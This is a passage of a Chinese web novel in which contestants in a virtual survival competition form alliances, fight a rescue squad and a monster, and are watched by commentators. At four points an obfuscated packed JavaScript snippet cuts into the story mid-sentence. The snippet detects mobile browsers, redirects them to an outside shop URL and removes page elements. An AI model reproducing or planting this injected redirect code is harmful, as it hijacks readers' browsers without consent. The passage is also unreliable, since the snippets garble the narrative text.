“瑞思拜，你到了辉煌商场之后想做什么呢？”比起同为选手的张三，苏益文更乐意和NPC搭话，说不定能打听出什么消息，如果能触发任务就更好了。 简初正盯着张三手里的铁棍出神，因为它的外形看上去实在是很趁手，她回头或许也能整一个，但这不影响她流畅地接下苏益文的话。 “你这话说的，去救援点还能做什么啊？”简初的眼神让苏益文有些惭愧，他确实问了个傻问题。 说起来还不知道秦理他们会在什么地方，要是见了面认不出，互殴起来可就不妙了。 简初有些忧愁的表情落在苏益文眼中，更加让他确定了这个NPC经历坎坷，他伸手拍拍女孩的肩膀，开口安慰道：“不要伤心，也许你的家人已经被接走了，你们能够在安全区再见面也说不定。” 简初露出感动的表情：“谢谢你。” 另一边的张三面无表情地往前走，似乎根本没听到这两人的对话。 正在这时，头顶突然有什么东西飘下来了，一滴水落在简初的鼻尖，紧接着，越来越多的水滴落下，与此同时，天幕传来系统播报的声音。 “第一轮物资投放即将开始，随机投放点将出现持续三秒的光柱，请选手们注意观察。” 随着系统的倒计时归零，三人的左前方出现了一道粗壮的光柱，把周围的雾气都映亮，随后很快消散，这是离他们最近的光柱，其他的看上去就很遥远。 简初虽然听见了播报，但脚下不停，见另外两人突然顿住，疑惑地问道：“下雨了啊，你们怎么不走了，要躲躲吗？” 但没等两人回答，她突然转向光柱所在的方向，脸上写满了惊喜：“那是中心塔投放的物资！离我们好近，要不要去拿？去晚了别人就抢走了。” 为了方便选手行动，乌托邦内的NPC会合理化每一个不正常的现象，所以简初反倒不能装作视而不见，尽管她可以随便说出“要不要去拿”，但实际上大家心底都清楚，他们也许会面临一场恶战。 “动作要快点，去晚了反而麻烦。”张三点头表示赞同，“肯定会有人铤而走险去拿物资，这种时候大家都想着保命，可能会对其他人下手，要小心点。” 简初有些奇异地看向张三，她之前还觉得这人性子比较冷淡，没想到话却不少，顺带还把NPC的逻辑点明，让苏益文连连赞同。 既然做出决定，三人直接加快速度，从最宽阔也最醒目的路中央迅速前进。 简初一边注意周围的动向，一边偷偷放出精神力观察情况。以刚刚的光柱为中心，零零散散的光点开始聚集，而在他们后方不远处确实有一团光点，大概就是张三口中的追兵。 出于保护NPC的想法，苏益文让她走在两人中间，不过幸好这位瑞思拜小姐行动间十分利落，原本担心需要额外花费精力来照看她，现在倒是稍微松了口气。 离目标位置越来越近，几人不约而同停下脚步，躲在一栋合适的建筑后面悄悄观察。 从这个角度能看到散落一地的银白色物资箱，但没有人出手，大家都不愿意做那个出头鸟。 “你能用精神力吗？”张三侧过头，朝身后的苏益文问道，不过得到的回答却并不如人意。 “抱歉，我不是……”未尽之意已经很明确。 “那你的异能是什么类型？”张三没有问得很具体，毕竟这样的场合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12913748|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不会有人主动说明自己的底牌，况且说出来也未必有人会信。 大家只是半路相逢，临时搭伙，当然也没有信任可言。相比之下苏益文反倒更信任瑞思拜。 不过在这样的比赛里一直藏着掖着也是不可能的，毕竟没有人想一点水花都没有，就被淘汰。 “算是辅助类，你想做什么？”苏益文说道，但这样交流也不是办法，索性就更加直截了当，反正他不会在这里暴露全部实力，“我可以短时间模糊你的行动轨迹，变得难以锁定。” “那可以，你们躲好。”张三又恢复了人狠话不多的状态，扭头就直接飞了出去。 “哇哦！帅！”简初的赞叹让苏益文有些怀疑人生，明明是他先来的，这NPC不会被张三骗走吧。 不，他不允许！ 苏益文迅速抬起手掌，下一秒，张三的声音在原地闪烁了一下，紧接着开始毫无规律地出现在各个地方。 看起来像幻觉类的异能，但他的弊端也很明显——在精神力的扫视下，简初能够很清晰地看到属于张三的光点在飞速接近那一堆物资箱，如果周边有其他人使用精神力，很容易就能攻击到真实的目标。 乌托邦对精神力有着极大的加成，之前莫景不熟练的时候就能扫描五米的范围，高年级的学生们想必更加得心应手了。 果不其然，苏益文的异能生效不过两秒，就有一道光束精准地朝着张三所在的位置飞射而出。张三头也不转，似乎毫无感觉，但那道光束直接从空中穿过，落在了另一边的墙壁上，没有造成任何伤害。 激光枪，难道也是救援队的？ 不过几秒钟，张三已经接近物资箱，周围人显然也已经按捺不住，一时间，好几个方向响起枪声，更是有不少人影从建筑之中冒出来。 张三的身影还在“满场乱跑”，简初看见两个银色的手提箱消失在原地，随后跟着张三一起满场乱飞。很快剩下的手提箱也被人迅速瓜分。 没抢到物资的人大概率会联手攻击他们，而往回走是最快速、安全的逃跑路线，但这同时意味着，他们会遇到身后的那一群人。 “是你！” 说曹操曹操到，三人刚跑出没多远，就遇到了“追兵”，两方一碰面，对面明显态度不太友好。 “你们认识？”苏益文小声问道，看旁边的NPC还一脸状况外，连忙把人拉倒后面来，“瑞思拜，你躲在后面，他们不是好人。” 简初：“……” 谢谢你，不过你没发现他们跟你穿着一样的制服吗？ “嗯，之前他们在打那只太蚊。”张三的回答倒是先让对面的人炸了毛。 苏益文还没反应过来，就听见对面爆发一声愤怒的喊叫。 “你抢了我们围攻的异种，还能这么厚脸皮地说出口？！” “什么叫抢，异种身上写你名字了？再说了，这么多人都没能解决一只小蚊子，也太菜了吧。”简初撇撇嘴，让苏益文连捂嘴都来不及。 “你说什么？！” 凯文没有开口，只是眼神在对面三人身上飘来飘去，落在两个银色物资箱上。 66. 灯下黑（66） “我是凯文·斯塔，你是……苏益文？” 凯文的眼神最终落在了苏益文身上，他的终端里有小队所有成员的名单，之前还想着为什么开局就少了一个人，结果在这遇上了。 “既然拿到了物资，就归队吧。”他的语气波澜不惊，但其中的含义直叫人无言以对。 苏益文这边已经反应过来两方的关系，理智告诉他张三很强，他应该抱紧大腿，可他确实也是救援队成员，不过把物资交出去……不是，这也不是他能决定的啊，没看见东西根本没在他手里吗！ 还没等他开口，身后突然传来一道不满的声音。 “你们救援队怎么回事，这些物资不都是中心塔投放给幸存居民的，我看你们队伍里一个幸存者都没有，怎么好意思管我们要！”简初义正辞严。 苏益文：说得好，瑞思拜！ 他在心底默默称赞，手上竖起大拇指。 “你！”救援队的成员怒气冲冲，却发现无力反驳对方的话。 “等等。”凯文按下他指向对面的手，低声说道，“她说话语气不对劲，再看看。” 大家都是竞争对手，谁跟她讲这种完全没有约束力的规则，除非，这人不是参赛选手。 几个小时了，遇到第一个可能是NPC的人，就连凯文也不得不谨慎对待。 场外，镜头理所应当地跟随着抢夺到物资箱的选手，而这边剑拔弩张的气氛更是吸引了总导播的视线，很快，主屏幕上就锁定了这一群对峙中的人。 “哇哦，这么多人，真热闹啊，还是院校大杂烩，这边联邦理工的学生居然和联邦军校搭上伙了。”白羽笑着玩梗。 众所周知，这两所学校向来“不和”，哪怕在星网上把名字放在一起，下面都有一堆人互相瞧不起，但这两所学校又偏偏经常同时出现。 “这两边，鹿死谁手还真说不准。”爱丽丝点点头，一旁的伊森对这句“看轻自家弟弟”的话并没有什么反应。 七对三，结果却说不准，这不就是明摆着说这一堆人平均实力不如对方。 比赛场上，凯文终于忍不住抢先提问。 “你是谁？” “我是辉城的居民！” 凯文其实是在问对方的姓名，哪知道被这句“辉城的居民”堵得一口气差点没上来，苏益文感觉还有避免冲突的机会，连忙捂住简初的嘴，生怕她又说出什么成为大战的导火索。 简初眨眨眼，看着朝对方解释她是NPC的苏益文，觉得这孩子还是太老实了，他们身后站着的那位虽然没开口，但别忘了那是能从对面七个人手里抢积分的佬啊。 她微微扭过头，跟身后的张三来了个亲切的对视。 简初眨眨眼，对方也眨眨眼。 此时的场外，白羽拍案而起。 “没想到简初同学竟然伪装成了NPC！” 观众对于这种戏剧化的场景最为喜爱，甚至超过了选手斩杀异种的画面，现场人声鼎沸，陷入了热烈的讨论。 “哦？这两个人是认识吗？”爱丽丝没有错过两人对视的场面。 同为联邦第一军校的选手，确实有可能相识，但在这样的情况下想要认出对方，那一定是熟悉的朋友。 总导演显然不会放过这个话题，他在耳机里跟两位解说传达消息：“这两个人认识，也许已经在暗中联手，可以说一些符合情理的猜测，资料发过去了。” 不得不说，赞助商们确实准备周全，连临时信息小组的动作也非常迅速，保证不错过每一个可能的爆点。 “伊森同学，听说简初和傅燃是你们学院专业课的搭档，你知道这件事吗？”爱丽丝把话题抛了出去，非常自然地忽视了同为组员的秦理。 因为这样说会更有话题度。 伊森：“……” 他深吸一口气，平静回答：“简初比我低一个年级，不太清楚，不过确实见到他们走在一起，关系应该不错。” 借着伊森的“证言”，两位解说进行了大胆的猜测。 比如这两个人已经联手，准备搞事了。 …… 某种程度上他们说的没错，简初确实想搞事，但这两人确实也还没有认出对方来。 傅燃默不作声接下了对方投来的视线，这想要合作的意思已经写得不能再明白了。 这个瑞思拜大概率不是NPC，从一路上的情况来看，这个场景里很可能只有选手存在。 雨线逐渐密集，把双方的面容都变得模糊，同时也快将凯文的耐心浇灭，他发出了最后通碟。 “苏益文，小队内部是不允许互相出手的，否则你就会违反规则，你还是决定要站在我们的对立面吗？” 虽然是NPC，但这个瑞思拜明显对他们并不算友善，相比之下隶属于救援小队的苏益文更适合作为突破点。 不过麻烦就在于他们也无法对他出手，否则同样会违反规则，虽然不知道会得到怎样的惩罚，但还是得尽量避免。 简初从凯文的话里捕捉到了重要信息——救援队内不允许互相伤害，那么参照这个规则扩展一下，救援队可以对幸存者出手吗？ 毕竟开局就有武器的“救援队”要是可以随意杀害“幸存者”，双方就完全失衡了。 但比赛的核心还是在于对抗，绝对不会一直这样约束选手的行动。 苏益文皱着脸，脑袋极速转动。 凯文确实没骗他，终端上的小队守则内的确有这么一条，但因为开局只有一个人，他一直以为在设定中队友全部的牺牲了，还想着之后或许有给队友报仇的任务。 这么看来，着实是他想太多。 简初趁着这个机会，把周围仔细扫描了一圈。 投放点附近的人已经散得差不多了，虽说张三此前能从对方手里抢走异种，但现在是正面冲突，再加上苏益文作为救援队成员大概率无法出手，所以实际上双方是2VS7，很难说会是什么结果。 看来还是得回头，从另一边走。 简初抹了把脸，但很快雨水又打进眼睛里，另一边，凯文见苏益文一直沉默不语，终于失去了耐心。 “动手。”他的话语被雨声掩盖了一部分，迷蒙的视线也影响了人的注意力，导致有几个队员没有第一时间反应过来。 就差这么几秒，局势陡然转变。 简初的精神力喷薄而出，仿佛空气波一样，裹挟着雨水逆飞到凯文一行人的面门，一时间，仿佛海面上的暴风雨，打得人生疼，眼睛都睁不开。 “怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12928659|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么回事？！雨怎么突然……咕噜噜！”一名队员艰难地开口，下一秒雨水就倒灌进他嘴里，呛得人说不出话来。 还没等他来得及抹开脸上的雨水，就感受到心口一凉，紧接着身上的潮湿全部瞬间消散，他茫然地睁开眼，面前正是登陆座舱内的小屏幕。 他这是……被淘汰了？ …… “刚刚发生了什么？！我们请导播回放一下，刚才那位选手被淘汰的瞬间！”白羽拍案而起。 刚才的一切发生地太快了，这边还在讨论这两个人有没有认出对方达成合作，下一秒，救援小队就减员两名。 大屏幕迅速调节到刚刚战斗的时刻，并且进行了慢放。 “雨水改变了轨迹！是精神力控制！他们果然认出了对方！”白羽意犹未尽地坐下，语气中带着猜测被确认的满足，“傅燃的出手时机抓得很好，毫不犹豫出……棍，直接带走了对面两名选手，不过这种时候物资箱还要提在手里，是有多小心啊。” “简初的A级精神力得到乌托邦的加强，这种瞬时的爆发确实不在话下。”爱丽丝解释道，“不过在现实中，想要实现精神力外放就不是那么容易的事了，这对控制力的要求非常之高，据我所知，联邦目前还没有人能在现实中做出这个效果。” “没错，不过接下来她应该会陷入短时间的虚弱，希望她的同伴能在这段时间内保护好她。” …… “陷入虚弱”的简初此刻精神饱满，对面的人终于回过神来，纷纷拔枪射击，尽管张三的移速很快，但物资箱还是被打中两下，明显有清澈的液体开始往外咕嘟。 是水吗？ “张三，把箱子扔出来！”苏益文焦急大喊，却得到对方一个冷冰冰的眼神，他后知后觉意识到，这时候要物资箱，总有种过河拆桥的意思。 “算了，咱们撤吧。”简初悄咪咪凑过去，另一边的精神力却锲而不舍地往那群人脸上泼水。 苏益文一回头，就对上一双写满了期待的眼睛。 “你的异能还能用吗？”简初问。 “可以。”苏益文下意识点头。 “张三！” 他眼中一直温和贴心，需要保护的NPC，突然叉着腰朝人群中的大佬大喊一声，给苏益文吓得一激灵，“回来，我们撤！” 木已成舟，苏益文认命地垂下脑袋，他这救援队成员的身份还没捂热，就快没了，不过让他去听从凯文这出格的指令，还不如做一个普通幸存者。 不愧是姓斯塔的，这么专横。 思绪间，张三已经回到两人身边，苏益文抬头看了看他们，随后一左一右牵起他们的手。 简初&傅燃：“……？” “走了！”苏益文发出一声中气十足的大喊，随即三人向另一方向跑去，身影恍若卡死的终端屏幕，不停地在道路中闪现，哪里有空间，下一秒就可能出现在哪里。 简初倒是没有什么特殊的感觉，不过身后的枪击方向明显变得杂乱无章，她甚至还好奇想要扭头看看情况。 “别看了！我撑不了多久。”苏益文艰难从牙缝中挤出这句话，才打消了简初的念头。 “找个安全的地方看看物资。”张三开口，语气平静地仿佛正在路边散步。 67. 灯下黑（67） “算了，这次的物资投放点离我们都太远了。”秦理扒着窗子小心地探出半截脑袋，看着远处的光柱慢慢熄灭，十分忧伤地缩了回去。 “没事，第一天少吃点没事的，反正现实饿不死就行。”左虞珩将两人手里的开局道具归集到一起，勉勉强强塞了个小背包，都没塞满。 秦理和左虞珩开局没多久就碰上了，两人几乎是对视一眼就立刻判断出对方的身份，当时还在论坛掀起不小的讨论。 “图书馆离我们很近，所以不用急着过去，可以节省点体力，也能看看情况。”秦理伸手擦了擦脸，刚刚被异种划开的伤口还在慢慢渗血，因为手头没有药品，只能简单处理一下。 房间里的异种已经刷新掉，但沾在身上的□□却一直留着，气味不是很好闻，不过习惯了之后倒也能接受。 “可惜只有我们俩遇上了。”她遗憾地叹了口气。 “已经可以了。”左虞珩收回自己的异能。 为了避免和异种搏斗的动静吸引来其他东西，他暂时屏蔽了周围的空间，现在已经安全，就没必要空耗异能了。 “这么多选手，我们俩能遇上已经运气很好了，三四个人凑一起简直天方夜谭。” “也是……但如果异种都是这个强度，今年的分应该不如往年好刷。”秦理梳理着现在的情况。 以往只有决赛才会是大混战，今年赛制变革，但这也仅仅是初赛，难度却已经超出了他们的预期。 “这次赛前没有明确评分规则，所以没有那么简单。”左虞珩伸出手，在面前的地面上画着圈，“这个场地的背景故事明显很复杂，我怀疑评分规则会涉及到剧情推动的贡献度。” 开局的随机形象很明显是不想选手过早形成小团体，因为这会直接导致比赛变成团体之间的厮杀，完全偏离原本的目的。 以往决赛经常抽取到的是围猎型赛场，目标可以是异种，也可以是其他选手，可以分阵营，也可以各自作战，但最终的目的都是淘汰更多的对手，并在这个过程中刷到更高的积分。 而剧情类赛场抽取到的概率太低了，因为过于冷门，几乎不在大家训练的范围内。 “只能多注意周围的信息了，要是能遇到NPC就好了。”两人对视一眼，再次长叹了一口气。 …… 简初三人找了一个屋子作为临时根据点，此时外面的雨下得更大了，视野范围内全都雾蒙蒙的，可见度很差，并不适合赶路。 “第一批幸存者大概是三天后被接走的，正常来说第二轮救援节奏应该会加快。”简初姑且跟他们分享了一些消息，不过比起时间，苏益文更担心另一件事。 “我们杀了救援队成员，还能去辉煌商场吗？” 屋子里陷入沉默，他跟张三倒还好，反正选手之间迟早都是要开战的，但瑞思拜作为NPC，要是因此得不到救援，那苏益文就没办法拿到对应的积分了。 “我们俩无所谓，你可怎么办啊。”苏益文十分抱歉地看着简初，并为自己远走的积分哀悼。 简初没有回答，眼神却微微向张三偏了偏。她刚刚跟张三小小地合作了一把，对方应该已经知道她不是NPC了，但不知道出于什么原因，他并没有把这件事说出来。 她欲言又止，最后还是将话咽了下去。 张三瞧了她一眼，眼中闪过沉思，紧接着伸手打开了物资箱：“先看看有些什么东西能用。” 三人的目光不约而同投向中央的两个银白色物资箱。 箱子没有密码，只用卡扣简单固定，掰开就行。不得不说张三的手气还挺好，一箱食物和饮用水，另一箱里则是把轻便的小型狙击枪，旁边配了十二枚子弹，倒也能用一段时间。 “先吃点东西吧。”张三掏出面包和水，随手扔给了另外两人，他自己却是先拿起那瓶被击中的，漏了一大半的水壶喝了起来。 简初沉默地接过面包，撕开包装塞进嘴里，余光一直关注着张三的动作。 不知道为什么，她总觉得这人有点熟悉，但又死活想不起来在哪遇到过行事风格类似的人，但如果真是认识的人，不知道对方有没有认出她。 也许就是认出了她，所以才帮忙隐瞒假扮NPC的事？ “我们要不要换一个目的地？”苏益文想了想，提议道，“那群人的目的地显然也是辉煌商场，现在我们起了冲突，到了那里还不知道会发生什么，毕竟他们是救援队，很容易拿捏住我们。” 他的救援任务已经可以宣告作废，而张三作为幸存者，前往哪个救援点都没什么所谓，如果他能说服NPC换个目的地，指不定还能挣点积分。 虽然简初的虚拟对抗打得不够多，但这种明显的暗示还是能看出来的，幸存者的自由度远比救援队成员要高，前往哪个救援点应该都无所谓。 “我都可以。”她抬起头，又看了眼张三，这人也没有提出异议，“那我们现在离哪里最近？” 苏益文谨慎地比对了其他几个救援点的方位，开口道：“辉城图书馆。” 他们现在的位置离辉城图书馆不算近，但一天内赶到也没什么问题。 虽说按照日记中的记录，从救援开始到幸存者被接走大概要三天，但整场比赛总共也才五天，乌托邦绝对不会把大部分的时间浪费在寻找救援点，否则这场比赛就有些过于草率和粗糙了。 所以不出意外的话，从今晚开始，救援点之外的异种就会逐步增强，而且天气也会变得更加难以生存，从而催促大家赶往救援点。 …… 暴雨中途停了一会，三个人卡着这个时间又往图书馆的方向前进了不少。因为吃了东西，所以他们状态还都算可以，可惜药物只剩下简初提供的一小捧外伤药，为了避免出现发烧病弱的debuff，还是不能长时间在暴雨里跋涉。 “我的救援任务消失了。”苏益文靠坐在墙角，垂头丧气。 他大概率是被凯文从队里除名了，只希望中心塔不要把他拉进追杀名单，否则自己真的要有大麻烦。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他还没蠢到以为对方在看自己。 “我在看你啊。”简初表情自然地回答，换来了一室沉默，另一边的苏益文脑中疯狂拉响警报，感觉NPC下一秒就要换人派发任务。 “开个玩笑。”简初收起笑容，“我只是担心会有人突然闯进来，正好我对着楼梯口，就多注意一点了。” “这样啊。”苏益文抢先松了口气，下意识看了楼梯口一眼，不看还好，这一看几乎吓走半条命，他平时也算是见多识广，但还是架不住这一幕来得太突然。 这下张三也感觉到不对了，立刻转过身，一眼就看到楼梯口伸出的一截腕足。 宛如巨型章鱼一样的深红色，肉感十足，底部的吸盘牢牢吸附在墙壁上，十分缓慢而又安静地向前摸索。 紧随腕足之后的是敦实的身躯，但奇怪的是它的行动似乎没有什么章法，上下左右到处乱摸，看起来视觉和听觉都不太灵敏。 简初眉头紧皱，脑中紧急搜索看过的异种图鉴中有没有类似的物种，但一无所获。 像章鱼怪这类的异种应该都是水生的，总不会因为外面下这么大的雨，它就从水里爬出来了吧？ 68. 灯下黑（68） 三人并没有贸然动手，而是选择先观察，了解情况。 章鱼怪在楼梯口摸了半天，突然又驱使着腕足，开始往回爬行，苏益文下意识想追过去，却被简初迅速按住。 不过几秒钟，异种再次出现在楼梯口，它的腕足探索了一会，敦实的身体突然就“噗叽”一声塞满了楼道口，它使劲往前挤了挤，却依旧卡在中间，紧接着腕足按在地面上，试图把自己往回推。 “噗！” 一声轻响，异种的身躯终于从脱离卡死，但不过两秒，它又开始使劲往这边挤。 三人陷入沉思。 “你们在这不要走动，我去看看情况。”张三嘱咐了一句，但苏益文不想由着他耍帅，站起身就要跟上。 “你在这保护瑞……她。”张三纠结两秒，最终还是没能喊出那个奇怪的名字。 苏益文一愣，脚下挪动两步挡在简初身前：“那你去吧，这交给我。” 简初有点头痛，她开始思考自己是不是不该假装NPC，谁能想到苏益文这人这么实在，这么一站，把自己观察的视线都挡住了。 下一秒，她眼神一凛，上下打量着身前的人。 这家伙，不会是故意的吧？ 张三抬脚毫不犹豫地靠近异种，但章鱼怪显然还是没什么反应，依旧在努力想把自己挤出楼梯口，这一次它终于找对了方向，伸出来的腕足紧紧扒在门边的墙上，身体向外凸起，胀得油亮亮的，仿佛一戳就可以戳破。 确实有人这么干了。 熟悉的金属棍子被张三提在手里，他抬手戳刺毫不犹豫，但出人意料的是，铁棒与异种皮肤接触时，却神奇地滑开了，仿佛章鱼怪身上有什么推手，拒绝了来自铁棍的伤害，但异种本身却没有对此做出任何反应，依旧在努力向外挣扎。 它的攻击欲望很低，就算受到攻击也没有反抗的意思，但却又非常执着地想要钻进来。 有问题。 简初迅速转头打量了室内的物品，却并没有发现什么可疑的物品，她站起身，开始四处翻动这里的东西，张三回头看了一眼，并没有阻止，苏益文云里雾里，但也配合她一起行动。 在他眼里，NPC不管做什么都是有含义的。 随着他们的动作，章鱼怪明显变得有些急躁，看来它的智商是能够理解行为逻辑的，也更加确定了简初的猜测——这个屋子里藏着什么东西。 “嘎吱嘎吱！” 随着异种的挣扎动作，楼梯口的墙壁上开始出现裂痕，灰白的墙皮簌簌往下掉，落地的声音宛如无数的小虫爬行，叫人不禁生起鸡皮疙瘩。 “张三，拦住它一会。”简初表情严肃，手上翻动的速度变得更快。张三一言不发，只是提着那根铁棍，八方不动地站在那只异种面前，每当异种伸出腕足，想要探到里头来，他就面无表情地劈手一敲，直接将它敲得往回缩。 戳刺的动作会被它皮肤表面防御，柔韧而富有弹性的肢体会直接将铁棍滑开，只能暂时这样阻止它的靠近。 章鱼怪智商再怎么低，脾气也被激上来了，这次它往后缩了缩，让更多的腕足伸进来，看上去不再单纯想从楼梯口挤进来，而是试图借着庞大的身躯直接将墙壁推倒。 “它要进来了。”张三低声说道，下巴朝地面上的物资箱抬了抬，“苏益文，把你的枪给我，你用那把。” 苏益文犹豫着抽出自己腰间的激光枪，咬咬牙将它扔给了张三，自己则是跑过去开始组装那把还算轻便的狙击枪，虽然不适合近距离作战，但以□□的杀伤力还是能发挥不小作用。 简初已经无暇顾及这边噼里啪啦的枪支组装声，她根据异种的反应，在这个角落飞速翻找，终于，在狙击枪组装完成的同时，一个手掌大小，椭圆形的乳白色物体出现在眼前。 简初：“……” 这不管怎么看，都像一颗蛋啊。 不看不要紧，她又伸手扒拉了两下，下面密密麻麻大约有十几颗一模一样的蛋，随着她的动作，异种明显更加暴躁了。 这是它的蛋？可是它刚才明明都找不到上来的路！ 但还没等异种发飙，抢先一步到来的是响在耳边全场通报。 “全场通报：有选手触发隐藏剧情，开启场景支线，解锁本场比赛评分标准之一——剧情推进贡献度。” “此支线任务触发点将于一个系统时后重置。” 简初这里额外收到了其他通知。 “恭喜触发重要支线——蛰伏，主剧情推进贡献度5%，请再接再厉。” “任务指引（蛰伏）：中断孵化进程。” 头好痒，感觉要长脑子了。 原本的虚拟对抗画风陡转，似乎变成了场景解密游戏，这跟联邦现在流行的《无尽次元》有什么区别？ 《无尽次元》是当前联邦大热的全息游戏综合体，人们可以在其中上传自己设计的剧情，捏造一个完全虚拟的世界供所有玩家体验，每一个游戏场景都是独立的，近期解密恐怖探索类的游戏风头正盛，简初已经能想象到这个通知一出，模拟大赛的线上直播又会迎来一批新观众。 “哇，这真是……”白羽无奈地摇摇头，“没想到这么早就有人触发了重要支线。” “可能有些观众不清楚，像这种剧情类的比赛场景，几乎都是在比赛中后期才会有剧情推进，因为前期选手们行事比较小心，更注重生存率，几乎不会主动冒险。”爱丽丝补充道，“不过这一次显然也是个意外，很明显三位选手并没有想到会发生这样的事。” 岂止是没想到会这样，苏益文现在还一脸状况外。 “张三，你听到通知了吗，有人开了隐藏剧情。”他愣愣地举起手里的狙击枪，“说好的对抗赛，怎么变成这样了？” 张三沉默地看他一眼，眼神里的情感相当复杂，这人似乎还没意识到，触发任务的人远在天边近在眼前，正是他当成宝一样保护的“NPC”。 随着播报结束，异种的动作变得极为暴躁，下一秒，脆弱的墙壁已经承受不住巨力，直接在它身上套了个拱形门，架在章鱼怪身上一起冲了进来。 “苏益文，找机会开枪。”张三迅速向后撤退躲闪，激光枪在手中转了一圈，瞄准一条腕足的根部射击。 这次攻击没有被避开，皮肉炙烤的声音伴随着焦臭味响起，简初迅速将手中的蛋们砸得粉碎，留下一颗塞进了原本放置狙击枪的箱子里。 “这是啥？”苏益文满头问号。 “隐藏剧情。”简初言简意赅，锁上卡扣，拎起箱子，回头冲张三喊道，“要杀吗？” “嗯。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12976088|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 简初回头，将箱子塞到苏益文手中，又夺过他手里的狙击枪，他们两人此刻已经退到窗边，给屋子中央和异种搏斗的张三留下足够的空间。 “用你的异能帮他。” 苏益文再怎么迟钝，也意识到不对劲了，他十分懊恼地摇摇头，内心挣扎之下还是放出异能协助张三。 虽然被骗了，但事已至此，合作仍然是最佳选择。 简初靠坐在窗沿，狙击枪再怎么轻便，也不能跟激光手枪比，她将枪托搭在肩上，使用了一点精神力来辅助自己瞄准——在苏益文异能的作用下，她需要明确张三真实的位置，顺带能辅助她更好地稳定枪身和瞄准章鱼怪。 “啪。” 扣动扳机，一声轻响，□□飞速射出，精准地击穿异种瞬间裸露的眼睛，下一秒，尖锐刺耳的声波几乎要将人的耳膜击穿，简初赶紧抬手捂住耳朵，不出所料摸到一手温热。 她的身体素质不足以完美抵御这一道超频的音波。 “你先出去。”苏益文咬牙，暂停了异能释放，直接一手圈住简初，越过窗台将她安置在了阳台外沿，紧接着自己也翻了出去。 瑞思拜很明显是精神力专长的选手，这种场合下狙击枪由她来使用最好不过，但对方的身体素质显然不能受到异种的伤害，否则大概率会被淘汰。 “再来一次。”张三抽空看了他们一眼，确认位置安全，迅速开口，简初随手抹掉流到脖子的鲜血，再次将狙击枪架在肩上。 这么近的距离，对于狙击枪来说简直是死亡角度。 “别急，你慢慢来。”苏益文的异能已经被抽得差不多了，他脸色苍白，一边还注意两人的位置，小心意外坠落。 “啪。” 又一枪果断射出，这一次张三抓住了机会，锋利的铁棍紧随□□的指引，几乎是在同一时间刺入了异种的另一只眼。 这一次简初提前捂住了耳朵，张三只是皱着眉，他的位置几乎和异种重叠，却没有伸出手来保护自己的耳膜。他人紧紧贴附在异种身上，又将手中的铁棍往里戳了一截，甚至还搅动了两下。 “阳台要塌了！” 苏益文在耳边的喊声有些飘，下一秒简初突然感受到脚下一空，整个身体不受控制地向下坠落，她刚想调整动作保证自己不要受伤，下落的势头却瞬间止住，恨不得把她隔夜饭都颠出来。 简初顺着手臂抬起头，看见张三正拽着她的手腕，另一边苏益文已经掉下了一楼，发出一声痛呼，但看起来倒是没受什么伤。 张三手上一个使劲，直接将人拉了上去，简初扒着窗沿往里看，巨大的章鱼怪已经趴在地上一动不动，看起来死透了，果然等她爬回屋子，尸体已经刷新，消失不见。 “你们没事吧！” 窗外传来一声大喊，张三看了她一眼，扭头朝外头回答：“没事，你在下面等会，我们马上下来。” 说刚说完，他就蹲在简初旁边，伸手擦掉了她耳廓上的血迹。 “你还听得见吗？”他皱着眉，得到肯定回答后才松了口气转过身蹲在她面前。 “楼梯全断了，我带你下去。” 简初看着他此刻有些熟稔的语气和动作，脑海灵光一现，有些不确定的开口：“傅……？” “嗯，是我，傅燃。” 69. 灯下黑（69） 苏益文在楼下等了两分钟，内心的担忧逐渐加重，才看见张三背着人直接从三楼跳了下来，他赶紧上前接过对方手里的东西，紧张询问。 “你们还好吗，怎么这么久才下来？” …… 线上直播已经刷满了评论。 “联邦军校果然都是坏人，欺负我们理工的小笨蛋呜呜呜~” “前面的不要反串黑，明明就是你们军校的欺负人好吧！” “无关路人，表示比赛就是这样才有意思。” “我记得简初精神力素质没有特别突出吧，为什么用起来效果这么好？” “前面一看就是外院系的，简初当年入学可是学院第一。” “好汉不提当年勇，之后还不是越来越差劲。” 评论逐渐变成了联邦军校内部的吵架，把理工的学生气得不清，他们的选手在比赛里被人骗就算了，这群人连吵架都不带他们，什么意思啊！ 直播现场，两位解说都有些无奈。 “哎，小苏选手真是……”爱丽丝仰天长叹，“太迟钝了。” 